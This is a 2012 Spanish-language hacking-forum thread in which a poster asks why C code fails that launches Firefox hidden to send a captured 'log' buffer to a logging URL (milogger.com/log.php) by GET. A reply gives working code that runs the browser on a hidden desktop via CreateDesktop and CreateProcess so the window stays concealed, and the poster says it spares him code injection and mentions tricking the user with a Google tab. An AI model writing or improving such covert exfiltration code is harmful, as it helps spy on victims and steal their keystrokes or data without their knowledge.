Foro de elhacker.net

Programación => Programación C/C++ => Mensaje iniciado por: someRandomCode en 28 Noviembre 2012, 09:57 am



Título: Problemas con ShellExecute
Publicado por: someRandomCode en 28 Noviembre 2012, 09:57 am
Código:
int EnviarAMi() {
/* Busco si existe un navegador*/
static char navegador[1024];
HINSTANCE envio;
HANDLE Navegador = CreateFile("C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe",
GENERIC_READ,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (Navegador!=INVALID_HANDLE_VALUE) {
strcpy(navegador,"""C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe""");
strcat(navegador," www.milogger.com/log.php?");
strcat(navegador,buffer);
/* Lanzar navegador */
envio = ShellExecute(NULL,"open",navegador,NULL,NULL,0);
if ((int)envio>31)
printf("Navegador lanzado oculto");
}

Alguien sabe porque no esta funcionando?


Título: Re: Problemas con ShellExecute
Publicado por: x64core en 28 Noviembre 2012, 11:30 am
ShellExecute:

ShellExecute(NULL,"open",navegador,URL,NULL,NULL);


Título: Re: Problemas con ShellExecute
Publicado por: someRandomCode en 28 Noviembre 2012, 11:43 am
Gracias, pero si pongo el ultimo NULL me abre el navegador en modo visible, la idea es que lo haga como SW_HIDDEN (0)...
Por el resto pense que no seria cambio, pero si lo hizo al cambio..
El problema es que si tiene un navegador abierto (una instancia de firefox) me habre una pestaña..
supongo que podria engañar al usuario abriendo una pestaña con Google..


Título: Re: Problemas con ShellExecute
Publicado por: x64core en 29 Noviembre 2012, 08:08 am
Gracias, pero si pongo el ultimo NULL me abre el navegador en modo visible, la idea es que lo haga como SW_HIDDEN (0)...
Por el resto pense que no seria cambio, pero si lo hizo al cambio..
El problema es que si tiene un navegador abierto (una instancia de firefox) me habre una pestaña..
supongo que podria engañar al usuario abriendo una pestaña con Google..

con SW_HIDDEN  no vas a poder ocultar a firefox.
si lo que quieres es ocultar la ventana del proces del navegador entonces tendras que crearte una instance de un nuevo escritorio
para poder mostrarlo solo en el escritorio que has creado ( utilizando: CreateDesktop ). luego pasando el mismo nombre del
nuevo escritorio y utlizando CreateProcess:

Código
  1.     STARTUPINFO              SI;
  2.     PROCESS_INFORMATION      PI;
  3.     HANDLE nDekt;
  4.     memset(&SI, 0, sizeof(SI));
  5.     memset(&PI, 0, sizeof(PI));
  6.  
  7.     SI.cb = sizeof(SI);
  8.     SI.lpDesktop = "newDesktop";
  9.  
  10.     if(nDekt = CreateDesktop("newDesktop",0,0,0,GENERIC_ALL,0))
  11.     {
  12.  
  13.          CreateProcess( "C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe",
  14.                         "www.google.com",                
  15.                         0,
  16.                         0,
  17.                         0,
  18.                         DETACHED_PROCESS,
  19.                         0,
  20.                         0,                              
  21.                         &SI,
  22.                         &PI);
  23.  
  24.     }
  25.     return 0;


con eso ocultas cualquier ventana de cualquier  ::)


PD_ no olvidar cerrar el handle al objeto.


Título: Re: Problemas con ShellExecute
Publicado por: someRandomCode en 29 Noviembre 2012, 11:15 am
Barbaro me viene genial, porque la idea es evitar tener que lidiar con injectar codigo y pasar el log por GET de a pedacitos..